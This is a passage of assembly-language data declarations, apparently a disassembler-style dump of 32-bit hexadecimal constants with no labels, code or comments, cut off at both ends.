0FD7F1AA2h, 197C323Bh, 0CA18E940h dd 8987BA3Bh, 97B5D025h, 55076A4Dh, 52690AEFh, 8F5AAE30h dd 9C5045F0h, 3A19993Dh, 4D91AB77h, 92A44A5Fh, 65281480h dd 0E2E33809h, 19CB202Dh, 848B1A31h, 0D4D7D36h, 96AD4Fh dd 589293E8h, 0D7A93E9Ch, 8D1BE531h, 0F598DC00h, 9C066E83h dd 7D490CFAh, 995BE2CAh, 0E612B96h, 4643841h, 9DE5B348h dd 0EB69F6AFh, 920DE346h, 5D4A1D39h, 0B36DA1DCh, 71D40D09h dd 1E5C74ECh, 553ADADCh, 0DE3A2580h, 0A76A917Eh, 43F355CFh dd 2EF0AB0h, 27CB88F9h, 0C8D47506h, 0D78C62A6h, 0A75D166Dh dd 0A4ADC8CAh, 19A8798Bh, 0A6FC7A2Bh, 7FA91213h, 0AE8FBA9Bh dd 331956A4h, 86535C09h, 0E051D74Dh, 738FEBC3h, 12B02B20h dd 0D8BF8BF6h, 0CDE46D7Ah, 4FB3C2DBh, 0B1084AAAh, 0D66A0601h dd 7F712FFFh, 0C6CF734Ch, 6009A42h, 0E03B305Eh, 2518B72Dh dd 0D2619B7Eh, 0F7BEDCD0h, 6B9A494Ch, 0D95EC212h, 2B0F582Eh dd 0ED3D9CDBh, 28507F9Ch, 5429DD73h, 3EFFE02Eh, 0DEEA7626h dd 47622A62h, 726FC8E5h, 70898977h, 233ED0D6h, 0EC90D6E3h dd 0BCD8E6C0h, 79D1FA63h, 37CD4911h, 61639E01h, 125597EFh dd 40C236BBh, 997B812Ah, 869CA295h, 51B4CA2h, 46392BAEh dd 1CFA9854h, 0E50E65A6h, 7D7E051Bh, 0B2A478BCh, 74FED46h dd 9398765Dh, 0FA7ECA5Fh, 2D86822Ch, 36E666AAh, 0B4FE589Fh dd 70B2D6Eh, 0EAEBF3D3h, 38146358h, 4EFEC698h, 94FDBD28h dd 90E0ED4h, 0D96F2192h, 59FD0D02h, 8DE8F3CAh, 28059D58h dd 0A374F6BFh, 0D5DA8D89h, 0FA37B9F3h, 3E8D7A74h, 9B238C3Ch dd 2EDB2478h, 1548B87Fh, 6DFAC02Ch, 0F0D7F74Dh, 2FDDDE7Dh dd 95702DC7h, 4F5D8D67h, 64DA0962h, 0D93FFD61h, 0B738118Dh dd 63121666h, 0DBEF4F65h, 8192B68Ah, 0EC586CB0h, 0DBADB6F6h dd 9B47054Dh, 25D0DCFFh, 0F2F36901h, 778FFEBDh, 0E3EC682Ah dd 821BFE81h, 0E094C367h, 932517D7h, 0BD7CAACBh, 6C53DF32h dd 0AC4B5E85h, 8CE68614h, 378812F7h, 0C58E861Ch, 854D62F1h dd 8D1C606Bh, 14E9A97Fh, 0FA6B77E1h, 31E0F774h, 477EF841h dd 742F1297h, 1E01E964h, 162B3E4Fh, 0A72ABFC7h, 0C85BA483h dd 354E26E0h, 0A71E8228h, 252E009Ch, 0CA23360Ch, 558727A1h dd 422274DEh, 8FDC3F74h, 0BAC482E0h, 0A43D4FDDh, 71933FAEh dd 14BD742Ch, 0E7006A24h, 456EABD2h, 79EAA986h, 586045CBh dd 4D67C059h, 0DB9807DFh, 0F4F2B6E9h, 42B4FC2Eh, 50DC85C1h dd 4E7F79CEh, 0EF0FE41h, 0A5AC263Dh, 7A50C1CCh, 0EB52A275h dd 0F3E4DC2Bh, 0FEDB07AAh, 0E76B961Ah, 6E1A5D57h, 0DE1D4AA8h dd 0D70833ECh, 0A89E628Dh, 9D469688h, 84D2B42Bh, 0CD8AD31Fh dd 8298390Ah, 0A4B8B618h, 1DFFECE8h, 0A71754C3h, 6ABBEE76h dd 0CCF958EDh, 5AF85A1Eh, 81A2BB4Dh, 2C228F54h, 0E8B53DEAh dd 3080BACAh, 0FC3DF906h, 69E23CFBh, 90B2EABDh, 0A49B250Dh dd 76A541C1h, 0C4E52A13h, 5ABB6048h, 0EAFD95D0h, 47842220h dd 732861Bh, 8F62181h, 0E4BA852Fh, 51D1722Ah, 9AFBD023h dd 8F58CB60h, 0C32B582Ah, 4703594Eh, 5087326Bh, 0B9F95AD4h dd 0B36FDF98h, 65AD631Ch, 0B02AC22Ah, 0F8F96A5Bh, 0FFBC9AB9h dd 73560A7Fh, 675323A1h, 7E21240Ah, 0B9CB5760h, 67C17244h dd 2DE5E5EFh, 9B15F644h, 450F6EA6h, 0A3420AFEh, 0AF81767Dh dd 54407DE6h, 0E6F392F4h, 37701C0Ch, 0BC031576h, 0FDDCE959h dd 667CFCB0h, 11970A3h, 37D9296Dh, 0E553259Eh, 2EBB9558h dd 122349DAh, 0D7E832B0h, 0AEBFBC7Bh, 4720387Ch, 1DEB7A0Fh dd 0EF244001h, 2A22BCBDh, 0A1C89A0Ch, 6FB31DA0h, 8BBC801h dd 2E6118A8h, 0F5948387h, 7BD4B50Bh, 0F3A3FD53h, 5E71AF6h dd 8D42FC0Ch, 48F1DB96h, 56E8F807h, 3EAB9302h, 4DC337D8h dd 0ADFC508Bh, 232DDCDAh, 6C09A1CEh, 7547F625h, 538F5041h dd 7E784E06h, 0FD852056h, 0F075F60h, 70320419h, 0A9A8BCE7h dd 0E4183AFCh, 0BB05C310h, 0FDC5A453h, 716BEA54h, 527A727Fh dd 79CE284Ah, 0D9305DDAh, 0E10BA6E0h, 6AB2EBD8h, 0FC94ED75h dd 62C59DECh, 0A1E0D0AEh, 6B4295D2h, 489BC5F9h, 0DEE98D40h dd 83692F8Bh, 0B70826A0h, 1A4DF22Fh, 0EC3631CDh, 0D84EF1F4h dd 5D589226h, 1FF5B8A8h, 1DCCD76h, 28672D57h, 0ADB618FAh dd 7EBFC0D3h, 0ED9E5098h, 1E42EC2Dh, 73742300h, 0F3636844h dd 9718AFB9h, 5444586Bh, 0B93A6180h, 25DED81Eh, 0B60C9944h dd 53802588h, 13E66435h, 0F547F0DAh, 0BAE28542h, 0B74A3EF3h dd 2760D43h, 89C88B76h, 9C5FC4DAh, 203CB3CBh, 0B6BA85CCh dd 76D30098h, 9A0F47AFh, 3AFF122h, 9F0B1AD5h, 15E92206h dd 189D4F55h, 0AE83ADF5h dd 0A7CADA2Bh, 3990C14Bh, 24C0A80Bh, 2D9640AFh, 0F4B06165h dd 77FC32BBh, 0DA446CB6h, 0EA66A282h, 0B1F67619h, 190E2D3Dh dd 53A0C86Ch, 26788F5h, 5D515895h, 0EA141A92h, 0C9D449CEh dd 6C548D14h, 42946396h, 980A77FBh, 897F7181h, 9B17470h dd 0BECAD477h, 391B85A6h, 327BA693h, 60CCACEEh, 7429629Fh dd 59817924h, 2F3DCFCEh, 7B7FC1A0h, 0EDF04719h, 42D8B7FAh dd 2DF8B2E1h, 74F245E5h, 31B84333h, 0F4075A67h, 19573A3Bh dd 0E1248FBEh, 60F7620h, 581DF116h, 9053B9E4h, 24940F18h dd 0EC80EF9Ah, 9BC0665Ah, 269192B8h, 0E65613E8h, 33AA2B3Eh dd 0B89832C9h, 0D096AA5Bh, 66D20C70h, 766779E3h, 9D8BF2D8h dd 6542B579h, 0AE9FBE50h, 72AFB5A0h, 9E697F0Dh, 0A67F84Eh dd 1253E051h, 85CEC5C6h, 4E2AB8C0h, 0EF45848Dh, 3365B17h dd 4973A8E1h, 0B3C7848h, 0E37F8911h, 0D2CAF09Dh, 0EB988A41h dd 0B5027D22h, 0CCEAD2C9h, 6376755Ch, 8F89F94Ch, 0C6D9116Ch dd 287B35C7h, 0EA7A1658h, 0D4676394h, 2CD8078Dh, 0D23F83Dh dd 4CBBBEE4h, 1D6D739Bh, 5C0D7688h, 0F9C28265h, 0A9EECCCAh dd 0D24A3AD8h, 0CA679156h, 4B33CE2Fh, 95050B36h, 3A3E3A16h dd 0B9C78872h, 0FDF7DBB4h, 0B6CA1450h, 40C1895h, 0D65BCAD0h dd 9A350B39h, 0C857FCA2h, 6C1E5DC2h, 667779A6h, 6EED55A9h dd 0CE04F9D6h, 9038095Eh, 5133968h, 0DEFAF1AEh, 0F5BEECAEh dd 67D752DFh, 3CBB8731h, 82EE93C9h, 4FCBBB9h, 5735224Bh dd 319759FAh, 0A97F7090h, 6DDD7BBDh, 0EB5290CBh, 0E678E6FEh dd 0EC220C9Ah, 0DAAB7F47h, 0E2040FBBh, 3DC036DCh, 5BAA6D4Fh dd 39416539h, 0A6EE17A6h, 0A860B336h, 6D52257Dh, 1E10CB49h dd 764B5527h, 76881C7Ah, 1017BB73h, 8A0400CFh, 793663C3h dd 371DF55Ah, 0E39270B6h, 0D9A74CF0h, 0B8873FA9h, 715A1230h dd 5EE3E2CCh, 0D39BFF88h, 201BEAA9h, 885631C9h, 7A517AC6h dd 823C7B96h, 2582D70Dh, 0B94C5EC9h, 0C29B8C58h, 41A70715h dd 0CDEB08F7h, 0E7DB0A74h, 400AE1Dh, 0E408ACE2h, 2000B5F7h dd 0F714C799h, 97DB662h, 0BFB0F371h, 0C3C68543h, 9CB9F7A6h dd 6D3A5BA0h, 66FF54h, 0D05F9C3Eh, 0CB27C8BFh, 331D39F1h dd 6ECEE3F9h, 0D4212326h, 0CFCE726Ah, 93DDA5EBh, 9BEEE6A0h dd 2C5CD20Eh, 32E85392h, 14BBFAAh, 0EE7FD469h, 62D73E7Ah dd 95EEB8FFh, 0D8729104h, 9CB76B78h, 0DDFAF4A3h, 9A2550CFh dd 0C891E159h, 8FD02B55h, 0D6ED7C81h, 0FF9743Bh, 2E4C8B96h dd 589039B5h, 579BA24Ch, 0D569B11Eh, 2761B2C0h, 0B9B6E342h dd 9877F06Bh, 73C6B477h, 2DB395BAh, 0B3735406h, 0BE91ED59h dd 0B6207EA1h, 0C5EF891Bh, 72C9EADAh, 72771E51h, 3EA656CFh dd 5CC6E1E8h, 72C3CA82h, 35854F4Dh, 17D757D2h, 4E346C57h dd 0CDA43D1Bh, 51925974h, 0EE967BAAh, 0B066B177h, 96BDD20h dd 89AD0E11h, 20E51E3Eh, 601E1729h, 21409A19h, 0D68ECDCAh dd 0EA69162h, 0A6F47791h, 0F7EC9E31h, 4D5300DEh, 66393845h dd 0DCB909AEh, 7E66F454h, 0BB2A893Dh, 0F719DB58h, 8DC466E4h dd 0DFE65EB1h, 0C6584D03h, 0D5E4325Fh, 555D810Ch, 5685F0C4h dd 0EB2E60D4h, 0D0302E95h, 0F8F95523h, 6160F642h, 3AE85CFDh dd 0C1C15683h, 0C77098BEh, 0FC5D159Eh, 0B646AB86h, 0E4275331h dd 0C4D062BCh, 47984E98h, 0C6CE702Bh, 0C4675C41h, 2B91297Ah dd 24DDFC73h, 0BCD10FF5h, 0CCC22575h, 0C0C5B713h, 0DBADA3A4h dd 0E0CBD7B9h, 8193F2CCh, 62E7DA24h, 0C825182Bh, 1708C5FAh dd 0AEF11CAFh, 10FF866h, 0BE88B854h, 813706E5h, 2341B217h dd 0A2193502h, 6E7F1683h, 6FEDA030h, 2311F28Bh, 0FE5A9117h dd 0AFC2AB25h, 6C803E29h, 0C84FB542h, 136EB35Eh, 97F7657Dh dd 0D8B7A24Bh, 0AF491891h, 0AE5F5597h, 0B7A73294h, 62C78472h dd 40160B18h, 0C4EF7DA9h, 1F3CA6E5h, 0B98DBD4Ch, 1B0EED88h dd 4C362AE6h, 7B4D51F5h, 0D8135DD0h, 140E47B4h, 83F6CD34h dd 96D3333Ch, 0F59A51E6h, 0BBBD8772h, 3DC8160h, 5354697Ch dd 83E4B077h, 6B8B19F3h, 0F81DD169h, 0BB1DED7Fh, 4E7163D2h dd 0EB484054h, 35303587h, 0AB30E6Bh, 4D73E6A3h, 397450EDh dd 9C3E067Ah, 0CA0BB594h, 1FBCEC8Eh, 0D41B081Dh, 8DA4CB81h dd 0CFA165C0h, 4506FDE1h, 67E22CBDh, 379CFB96h, 0C9EB0B2Fh dd 0C6B656Ch, 0F20F8266h, 0AEAC20E2h, 563F7547h, 0DAD78FC5h dd 2C2BBE20h, 511218BDh, 41E3268Ch, 7AFCEC00h, 94067F8Ah dd 3E48C12Eh, 9D1B8380h, 260CFD1h, 0F56CFE03h, 0E9C36968h dd 86F19EE3h, 0CB17166Eh, 14E963E8h, 19A99F63h, 412F75EAh dd 0E7F7C26Fh, 0BCF00387h, 0B8739458h, 114180C7h, 0C0405598h dd 0D4CF9702h, 80809A97h, 6D7F4406h, 0FFBA3C66h, 8DE45478h dd 55FB2F6Ah, 4717DEE3h, 3981A6E6h, 4A4D8BCCh, 0FAE151BDh dd 384DF6D1h, 5F73BC54h, 0F670BEFh, 0AC136F16h, 0E18330DAh dd 17D61105h, 69C782BBh, 3098E412h, 9933FEFAh, 242EFA4Bh dd 204510BBh, 76DC65E2h, 4D8BF0D2h, 0DD5F90F3h, 0CB4BCB9h dd 0BEF3868Eh, 929ABF42h, 788027A6h, 0C2288339h, 0F9E300CAh dd 4BCA7222h, 0D8D56B41h, 0E48F3503h, 0A4D4BACDh, 6B725A0h dd 7248392h, 0C4C27926h, 4EBC3807h, 0B6D4C72Bh, 0A03DD898h dd 0AB450F2Eh, 7BB16F2Bh, 6AD35172h, 3A73DD32h, 71D2152Eh dd 0CFF4D209h, 8A7861E8h, 0AA43334Eh, 2E2E6EBEh, 0D84589AFh dd 0FDA1EF9h, 65EDB8D1h, 2EAB6AA2h, 0C18E4256h, 0DFB53139h dd 8532E359h, 1AFD25BFh, 32DE076h, 89608267h, 0D56087D1h dd 0A48D2294h, 0E4DC82B9h, 373A796Eh, 0C52D0A48h, 381CB3Dh dd 23BCA0Ah, 0E8CF1271h, 398AC111h, 6E1F87E8h, 0C498B2B8h dd 9C38758Ch, 0E0458722h, 6055C53Eh, 0FD021938h, 9C68DCBAh dd 0F56CF05Ah, 0C44357F6h, 6826AC52h, 0C2D32D79h, 54AEFCAAh dd 0FD795523h, 59D43069h, 9B3AF378h, 0FCDA18C4h, 0F28FE22Dh dd 2032DF17h, 64CD2C6Fh, 0F1F41FC9h, 0FB05B821h, 7418F666h dd 0CE53A0Ah, 208A323Eh, 0D8539454h, 43A3E319h, 3D7F7346h dd 42B77CFDh, 26AB4A06h, 93634126h, 8AE2AC24h, 2A3A92AFh dd 565CBD6Bh, 0B8761B46h, 147765BAh, 0CB8861CBh, 0BB4481D6h dd 378B3A27h, 0C2F69DD7h, 0E75F147Ch, 90037819h, 205A56CCh dd 0E56921DEh, 323FD682h, 6DF21BBEh, 0BE32451Eh, 0C2DB5536h dd 9BC35A91h, 8BD9A17Ch, 0F1567B62h, 0EDC82495h, 6031E10Fh dd 53DAE762h, 0E8B49951h, 8C4B7CD1h, 661686C4h, 0DCB8FE81h dd 0CEE366F0h, 131D3522h, 0EEE06071h, 0B781A947h, 0A59C79D5h dd 0A71A8B30h, 7FF71CC8h, 5EED9F63h, 63F2084Ch, 72CCF009h dd 446A72CDh, 926F26Ch, 4EC3A5E3h, 0E4D13898h, 653F8035h dd 0F5EBD3A1h, 0B1E83ED1h, 291207DEh, 26D5F718h, 0F88E5E3h dd 1FDE0CA2h, 0D2C5C2Ch, 6598F325h, 0C667218h, 729AC3A2h dd 2B2121A4h, 0EE93C8CBh, 0B235F13Fh, 0FDDFFA37h, 0F8594E73h dd 660C764Dh, 0F43DE08Bh, 5F04892Fh, 0D2E2BEEh, 44A9E3h dd 0BBFE6338h, 97CF240Bh, 0A12F43FCh, 0C3F40B17h, 61A62476h dd 0BF624161h, 0C645D805h, 0E7FB615h, 0D2CC72FBh, 0E0A98780h dd 67557DB3h, 426314E1h, 3A2748EEh, 0F699D48h, 33EED5AAh dd 5BC1CDCDh, 99F216A7h, 1F83191Dh, 4CDDD516h, 0CA0832EAh dd 88D854F6h, 2AA47AC0h, 64EFB1E2h, 0C6DA2101h, 0F8C779ECh dd 1B26CB1Bh, 67368F98h dd 99B4D22h, 0DF6DD8Dh, 5E83B01h, 0E1AF6D9Ch, 97121716h dd 0B2A8EE5h, 78B72096h, 60511FABh, 0F3904AAFh, 0D5EAF927h dd 0B6CE3392h, 0DEED50D3h, 0D45473D3h, 24B479BBh, 48BDA2CDh dd 84F5FBB5h, 0B24AB14Ah, 0C2548625h, 0ED95413Fh, 5E3D4DFh dd 421407ECh, 0A8FC2235h, 86A0D99Ah, 0BD9A849Bh, 0C80DA228h dd 8CEA000Ah, 0BE7CFADFh, 68DEB0A8h, 0E849BB86h, 24800E5Bh dd 0B403C89Ch, 0AD76C8B5h, 51075791h, 0B561C0D1h, 0AEC5E007h dd 0E957DC8Dh, 0C01279D9h, 0C834D760h, 0A8A48F84h, 0D9835AECh dd 895862C0h, 1D5E74A1h, 1CAAE91Dh, 10FB94A6h, 800B7385h dd 0D319DEC8h, 0C2F6A51Ah, 0D483EE0h, 66404AE8h, 67791D45h dd 0F40559E4h, 710E2B9Bh, 2675A72Dh, 0CB26DDFEh, 215612Dh dd 1EF62EF6h, 0C476E015h, 14D87DE7h, 487CC52Bh, 0B483CEEBh dd 8E8F1714h, 83201E1h, 8CFE7C67h, 56283272h, 353EBE17h dd 0CBFDB7D9h, 0AA93743h, 0FAE56A33h, 0CE7F75DDh, 0F2AA1D82h dd 0E57BD83Fh, 3C7DC578h, 3113DC7Ch, 74931DEEh, 777E3D0Eh dd 32277DBCh, 0E88D26B4h, 78C2163Ah, 0F68EA3E2h, 0FCBB4C67h dd 61EBA5FBh, 78789DE7h, 0FD64BAA3h, 3C6060FEh, 68453129h dd 105CE430h, 0BFF2FCE6h, 457F959Ch, 0D987CB8Ah, 0E7FD6C47h dd 24B73B41h, 284F06BBh, 0C17C86FCh, 0E2ECBD01h, 9CE66AECh dd 26F9D304h, 3E47EC06h, 71406D69h, 5B50C800h, 4CC4F8B0h dd 887B19Ah, 0B7F8831Fh, 3D4A754Dh, 61E7CC65h, 20715FC4h dd 61713247h, 0A8215928h, 1DADF2A9h, 0E7DAD48Dh, 0E2717E1Eh dd 332D6906h, 76C306A7h, 92447600h, 1ACEFB6Bh, 28872DB6h dd 381238BFh, 0C2759548h, 0AFA67AC5h, 9A3031C9h, 0A840054Ch dd 803ACEA0h, 1652B8DEh, 4AEA78DCh, 6F51B6Fh, 4D11EDFAh dd 3512FF34h, 7270F85h, 25BFD8F7h, 0C85E2E0Eh, 0B9FD25Fh dd 77B672D7h, 0EE72F11Fh, 0A852E56Fh, 53609141h, 61286953h dd 1519A773h, 1F410DB6h, 0BAEFAF13h, 0DFBF7B96h, 29B4A326h dd 0D2D9A72Ch, 83A35C23h, 10C0E944h, 0A0134EA9h, 0C79BC7B6h dd 83ADC99Ch, 0A12DED7Eh, 1C88C23Eh, 4A1121B3h, 3A72E912h dd 30B869DEh, 52328FD8h, 9AF32256h, 3434BCC4h, 52C368C2h dd 38F4324h, 0F6508282h, 63D20CF5h, 2D9CADEEh, 91FE5E96h dd 3F32705Ch, 7696F17Ah, 27083CBEh, 0BD176F45h, 0AEB26BA1h dd 69C18696h, 21FFF83h, 433E0DC5h, 0B2F958E8h, 0A387ED6Eh dd 0ADCECD6Fh, 0CEC060D7h, 75561FEDh, 0A5A4C3C5h, 4E12D317h dd 66A5D82Bh, 0A83BE29Eh, 45C6E295h, 2877E718h, 5D0A4DC6h dd 1A8E5763h, 7115EB15h, 684E0EFFh, 71159DA0h, 0B7EDFD4Fh dd 4EA26D49h, 6BFAC886h, 9B64C9B8h, 0EFEB8548h, 460EF94h dd 0DB1DEBBBh, 9F0DFEEEh, 582E5CC6h, 0BAA82135h, 0E620E268h dd 78C04C70h, 0C06E89DCh, 7892CD84h, 0C786DD5h, 425738E9h dd 9419BF2Eh, 85F421D6h, 0A4EA76EFh, 1E1EC7DBh, 8961E9A6h dd 22622DBh, 0FB818DB8h, 0FD249628h, 0BE82575Fh, 0C04F658Ch dd 53A98686h, 0E41FA27Ch, 62214139h, 0DA7DB7A8h, 0FC4F16F1h dd 67F680A0h, 0D69216BAh, 853783E2h, 0FAF18B55h, 538BA65h dd 0FAF716CDh, 9364F269h, 0F8995F6h, 0A0338AC4h, 0E1622696h dd 0EE8806F2h, 3F314D26h, 543FB43h, 9ACE793Eh, 0C840BBFh dd 271A369Ah, 752486C6h, 8E40A9E7h, 0F5B73BF2h, 0D85836D6h dd 8E2023A7h, 0B4EF3755h, 0E50047BCh, 0AC5038FCh, 0AB30C4AAh dd 0F0577E06h, 0A2EC558h, 9F60A799h, 0B4A7E1C9h, 0BE098EBFh dd 7A7E1E35h, 0C1FF18Fh, 0F63976ACh, 81861C4Ch, 34BC9C0Bh dd 934EB294h, 0D6E92A0Ah, 9767BBB2h, 45D0E82Bh, 7A8CE716h dd 0C9BFECAAh, 2D3AF53Ah, 0D27A866h, 0C91796FDh, 4F6A44FDh dd 3FC3EFD8h, 0E9FB1923h, 0B90B1Bh, 0DE62AD2h, 652B9215h dd 9CA2D02Fh, 0B813FE54h, 0B6F39A57h, 95DBCBE7h, 0E068154Fh dd 0F1A4CC55h, 6AF0267Bh, 4CD3EE63h, 6B74E35Ch, 28141AF1h dd 92F2B92Ch, 0F9417F10h, 959E08E1h, 0B6A38570h, 3B86514Eh dd 94C22B99h, 57C7CE4Dh, 71CDA46Dh, 8FE1F220h, 0E9E05DBEh dd 19BB7DC3h, 19040F92h, 0EFA584B5h, 115A81BBh, 4EA80224h dd 0E3140D23h, 0EE505D1Ah, 4E4413ABh, 0DA63A0BFh, 0DCB63FB4h dd 0E017B10Fh, 1966724Ch, 0E7968E85h, 6AB066FCh, 75C19F7Fh dd 0ED473BA8h, 3FD49F49h, 0ED5C2264h, 0E86BEF93h, 0C2BE2C29h dd 4AE81BE6h, 210CCF88h, 0F7083DE3h, 0C761D8C6h, 1C9F3F4Fh dd 2C72C4C2h, 0E3257FC0h, 4A1BC408h, 20BF43B2h, 32088560h dd 53570A79h, 2772CFEBh, 9D78D8A6h, 7C5118B4h, 0A210831Ch dd 5E052E48h, 6BF834C5h, 25875Ah, 6058EC71h, 0BADF305Ch dd 698C4172h, 1FDC6D80h, 4ED1084Eh, 533B7842h, 79CFB967h dd 0BCECFF5Bh, 8AA7B6E8h, 27C6F3AFh, 27C4574Bh, 0A5B55F33h dd 0D9BACE1Bh, 9E72731Ah, 459B0FE8h, 0F64347DBh, 1C5BDCCh dd 2CB550FFh, 2C47B64Ah, 56153CA4h, 87967B3Eh, 5F162A39h dd 0E3D2039Bh, 0E30F79CEh, 0C10945F6h, 142CE02Fh, 6B76862h dd 0F6E5E72h, 0D1E37E71h, 0DAA3B2DCh, 0FE641F47h, 0C23261A4h dd 130BF306h, 0FDAEC34Bh, 0EC62DB9Ch, 0E1F08996h, 0E72393FAh dd 765A3BCBh, 8AC009FEh, 0DA4B7E63h, 84D0755h, 0F7828DD1h dd 82419A09h, 273062D0h, 89243964h, 5A14C300h, 0EBB87BC7h dd 1B4A62B7h, 4862B23Eh, 90311B2Eh, 0D04C346h, 92F97D20h dd 0F571FF67h, 72F884BAh, 2B113C51h, 821A697Dh, 9B57DC3Dh dd 0D1178DBEh, 5262720Bh, 0CE3BFB71h, 0D0CB26ABh, 557411CEh dd 41A3E274h, 355C8CDEh, 0A50EF9C1h, 0CB9422BFh, 0C9FDFC66h dd 33A047C7h, 9FDA2F99h, 0E6BC5B3h, 0D6863597h, 21D80077h dd 8B6132D8h, 7BD76797h, 93CAC55Fh, 94D9992Ch, 1E65EC35h dd 66EE51B0h, 93A3D119h, 716606A5h, 728BBAB2h, 3117549Eh dd 0F1D97F45h, 59A4C77Fh, 0DB3730h, 52969434h, 0BEC75C1Fh dd 56836771h, 0AAEFA3E6h, 33B6B7D8h, 0F4C2A67Fh, 8D5AE2E8h dd 0BAAD4097h, 0CAB236D6h, 4BEBF738h, 487D6AD3h, 4031A7F5h dd 164CFDD0h, 2A7566DCh, 0FFCB013Ch, 31FB4FBEh, 38DC558Eh dd 9F8ECA9Dh, 4ABB8E9h, 106B5717h, 0A4FD2EB4h, 8ECCF8D1h dd 5F2FB14Bh, 3CAD7B65h, 17767BB3h, 0CC8853B4h, 0CC7C9584h dd 0DD057F39h, 5F258A60h, 0A63180E8h, 6E8DD79Ah, 9A1C72EFh dd 0D854493Dh, 0B9EA2346h, 61C20047h, 0BFD646h, 0A69EB493h dd 96C84491h, 9360316Ah, 0A784A5C9h, 0C9F368D2h, 0B56FAAB2h dd 8517D8F5h, 9A383EA5h, 7461303Eh, 6A106788h, 65106F30h dd 0E5F98E05h, 9D287DDAh, 96BCE8A3h, 78DF5AE4h, 0F5CD0D25h dd 12416896h, 9885ABB0h, 285AA598h, 0F1D91480h, 0F0D4B50Bh dd 0C3197805h, 854C44DCh, 0AABD1E4Eh, 9CC74F3Eh, 5DFA92C8h dd 1F5BD7A5h, 0C686CF0Ah, 853A26E6h, 0B0E05F83h, 7610413Ch dd 0DB809463h, 9D4D1A8Bh, 85DD06C6h, 73952DC9h, 7BF29AEh dd 0DD8194F8h, 3C40315Ch, 72664792h, 0F631CF03h, 0FCB4BEF6h dd 4429AEEh, 0F462CDBBh, 0D1BE04D0h, 9A60E73h, 0F925CB36h dd 0B0EC544Eh, 69B7D061h, 0D2781E7Ah, 0F82E5A4Dh, 58D45B5Dh dd 0EB7609E4h, 5829D00Bh, 0CA57F0FDh, 2F7C600Dh, 3E198DCCh dd 15D17214h, 9562B6F6h, 8419860Ch, 48478C6Fh, 3FC63938h dd 2DBEC3F1h, 0F761C78Dh, 495D3D05h, 0E7E72A8Bh, 25323382h dd 6CDC51B1h, 1F9EB50Eh dd 0BFF7BF8Bh, 0B1AC152Ah, 0BC10F1F0h, 0A5E2AA4Ah, 9E53DFAEh dd 7F31DBAh, 70E1D221h, 644579A8h, 506A45D1h, 3A68A888h dd 407D5001h, 0E9D218D9h, 1945D813h, 2AA230C6h, 78D5D78Dh dd 44E10274h, 0B770DCB6h, 0A0E77164h, 0D7F9B5CCh, 0DEDD419Bh dd 0C3A9C197h, 0C7FB36EAh, 6CB4F4DCh, 0EF5AB53Ah, 0C0C73BA6h dd 9E90DD3Dh, 0AD63D6A5h, 25F319D6h, 2DA4F495h, 5A0ACCDCh dd 48E25A4Fh, 0E280AB3Fh, 7394B428h, 0D9C9E2A6h, 363046B2h dd 37A80549h, 8F52432Dh, 14B5BF97h, 0B4985931h, 3572F799h dd 4C5371EDh, 11D15D3h, 0C97FE501h, 1A229E7Eh, 0D471D174h dd 12E53254h, 0ABEB742Dh, 90877550h, 99666BF8h, 0A2188272h dd 0E22EE80Dh, 0F520040Ah, 0FF60D8Dh, 2FE4914Dh, 77255F8Ah dd 212D021Fh, 5724A2D0h, 847E5205h, 5C18DE99h, 96F7FAC2h dd 0DCA9ED69h, 22A4BAD6h, 0A74F6698h, 0E53541B5h, 30C2DBDh dd 0EC690B94h, 770C232Dh, 6FF7C67Fh, 0FE59D72Bh, 53ACE7B4h dd 85456D00h, 69E9BDEEh, 0FBF6CCC5h, 2E68B55Dh, 83DCFFA0h dd 0D40A39B6h, 0CCC883A4h, 0CB56CC1Eh, 7145F9FBh, 89C1B56h dd 0DA191AFDh, 0B450C1D9h, 4E41F268h, 7E86DCD9h, 6CE1CBA2h dd 0EAD05047h, 5567D4F0h, 0F7A4AED4h, 107E3776h, 367FDBAFh dd 674444Bh, 1D741CFBh, 312622EBh, 99E8C41Eh, 4397B3B8h dd 7023AF5Eh, 64460DDBh, 0FF6B18E1h, 0EC6166ACh, 6D72F8BEh dd 1561C6DBh, 7D44A779h, 2BDC130Ch, 80B00C96h, 9A742A2Ah dd 19CD753Ch, 84CF1E61h, 33132FDAh, 0F2172332h, 660912E1h dd 0C1F577FDh, 2D028854h, 446E5718h, 0A67CBC4Fh, 5046205Bh dd 0E0923647h, 219E66F0h, 0E9B43197h, 52349C43h, 3A30FD5Ah dd 2A612E5Fh, 2F5803C2h, 0A28E2885h, 0D07732F4h, 87151738h dd 3A1B85A8h, 611250C7h, 7AF70083h, 0DCE4EE7h, 588E2AFAh dd 7423CF04h, 57C16F13h, 0EA8ECD5Fh, 0CA53C140h, 8670F557h dd 0D7978019h, 0EE8E95CCh, 0C4B558FCh, 12BC2FC8h, 488955FCh dd 0BE456860h, 7CF794F3h, 1CE7CEC7h, 0B4ABFF35h, 62869810h dd 48473CB1h, 0FBA9C4E0h, 0CD5CCD6Ah, 0AEF4C004h, 0F3E34E2h dd 1280EA18h, 0FDB1C5E8h, 0A8E3A296h, 5598C25Ah, 730824Ah dd 674559B9h, 65E962D7h, 0C891D96Ah, 568FBF6Eh, 0CF5F835Eh dd 0AE27F8C5h, 0E786BA30h, 4FC59C25h, 2F6CE64Fh, 7DDA8AF7h dd 0D3FB93Dh, 1FEFBE61h, 6984BDA1h, 0E2EC54E3h, 94283894h dd 209D4D6Ah, 4A5CB29Ch, 0B0F82785h, 0D975B5A9h, 668864F5h dd 0D2DF48D2h, 0AD86FD1Ch, 1FFE83C5h, 0AE26B791h, 0B87BFE6Bh dd 0C134152Dh, 0CE16EC63h, 0D67A87AEh, 71DFFA23h, 7852B506h dd 4EFD58D0h, 7221A950h, 0DA106053h, 9E255848h, 2FD71A18h dd 69D8A1B0h, 366F1E0h, 2F7428ABh, 0F1DB855Bh, 0CF41E2FEh dd 0AFCBE2EEh, 34401AC7h, 82474B93h, 376EF180h, 8B08C338h dd 8D7C7E32h, 23D23FCAh, 0C76A664Fh, 7275E729h, 7D5B6220h dd 0BCF824CAh, 64F1A2A6h, 9863A830h, 0A241441Dh, 0C1DC842Dh dd 4C380903h, 6CFC879Ah, 4D815570h, 0C34AEA9Eh, 0A234BAC6h dd 1F7711B6h, 8C1C2C3Fh, 0EE319272h, 848C74C2h, 0BEBF08C3h dd 0E7A6B3A4h, 0D3AFE182h, 9C851127h, 173AD1ACh, 38747F87h dd 4B7FAECFh, 8D9CABC8h, 7F5E505Dh, 0E8F78274h, 1D1FA14Fh dd 679B6668h, 0FB47148Ch, 0C3639665h, 80333EAEh, 3218850Ah dd 0AD1BAC01h, 